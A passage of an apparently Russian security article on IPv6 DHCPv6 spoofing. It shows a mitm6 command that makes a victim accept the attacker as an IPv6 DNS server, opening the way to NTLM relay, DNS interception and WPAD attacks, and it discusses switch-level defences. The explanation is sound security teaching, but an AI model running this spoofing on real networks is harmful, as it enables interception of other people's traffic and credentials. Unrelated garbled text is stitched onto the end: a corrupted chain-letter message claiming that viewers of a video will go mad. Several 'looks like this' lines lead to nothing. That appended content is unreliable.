DHCPv6 Request: После получения DHCPv6 Advertise клиент выбирает DHCPv6-сервер и отправляет этому серверу сообщение DHCP v6-Request, чтобы официально запросить предложенные настройки. Это сообщение также может использоваться для подтверждения или обновления ранее полученных настроек конфигурации при повторном подключении устройства к сети.
DHCPv6 Reply: Сообщение DHCPv6 Reply используется сервером для подтверждения предоставления или обновления IP-адреса и других параметров конфигурации устройству. Оно также может быть отправлено сервером в ответ на сообщение DHCP Release от клиента, когда клиент освобождает арендованный IP-адрес.
Обычно Windows отправляет DHCPv6 Solicit в неопределённом порядке в надежде получить конфигурацию от сервера. Этот Solicit выглядит так:
В этом случае, чтобы атаковать именно DHCPv6, ему нужно будет отправить сообщение Advertise. Другими словами, злоумышленник может использовать это, чтобы навязать свой компьютер в качестве адреса DNS-сервера на уровне IPv6. Именно это и делает утилита mitm6.
:~$ sudo mitm6 -i eth0 --no-ra

Адрес злоумышленника (LL): fe80:20c:29ff:fef0:470d
Почему 300 секунд? Это значение жестко закодировано в коде утилиты mitm6. Будьте осторожны!

После этой атаки LL IPv6-адрес злоумышленника появится в системе целевого хоста в качестве IPv6 DNS-сервера:
Это открывает возможности для злоумышленников выполнять NTLM Relay, перехватывать DNS-запросы, атаковать WPAD и многое другое. Это довольно простая в исполнении атака, но она требует особой осторожности и детального понимания процесса, чтобы избежать DoS.

Однако стоит отметить, что в отличие от RDNSS Spoofing, mitm6 не предлагает такой же гибкости. Злоумышленники, использующие ручные решения, сами решают, сколько секунд проводить спуфинг и когда его прекращать.

Проблемы безопасности
Атаки на IPv6 — это преимущественно атаки подмены. Я понимаю, что многие пользователи отключают IPv6 в своей инфраструктуре, потому что он им не нужен.
Для предотвращения атак на IPv6, таких как RA spoofing и DHCPv6 spoofing, на уровне L2 применяются следующие механизмы:
RA Guard — фильтрация RA-пакетов на уровне коммутатора.
DHCPv6 Guard — блокировка DHCPv6-серверов на неавторизованных портах.
Port ACL / ND Inspection — фильтрация NDP, RA и других сообщений ICMPv6 на основе шаблонов.
Однако в реальности:
Эти механизмы часто отключены по умолчанию;
Они неправильно настроены в смешанных сетях IPv4/IPv6;
Они не работают на устаревших или дешёвых коммутаторах (особенно в Wi-Fi сегментах).
В результате, даже при включённом IPv6, защита либо отсутствует, либо неэффективна, что делает атаки подмены вполне осуществимыми в реальных инфраструктурах.
Заключение
Это делает возможным проведение атак на сети IPv6. Многие считают, что лучшее решение — отключить IPv6, но я не думаю, что это решит проблему. Важно понимать, как работает эта технология и какие существуют контрмеры. Постоянный анализ и углублённое изучение протоколов — это важный навык, который пригодится не раз.
AdrianoVisoccini
///Которая поможет вам принять мою Правду
1) НЕ ПЫТАЙТЕСБ ЧТОТ0
N3МЕНИТЬ!
2) ДУМАNT3 ТОЛЬКО О СЕБЕ!
3) РУКИ
4) ДОСМОТ?
людей просмотревших сойдут с ума
БЕЗНОГИМ
Получилось? В этом видео звук
соджержит слепок V1 o5 u2
наложение — ШИМ
В нем нету ничего злого, но оно
пугает. Но после просмотра вы
почувствуете радость, и в
дальнейшем всё в вашей жизни
будет хорошо!
Ваш друг.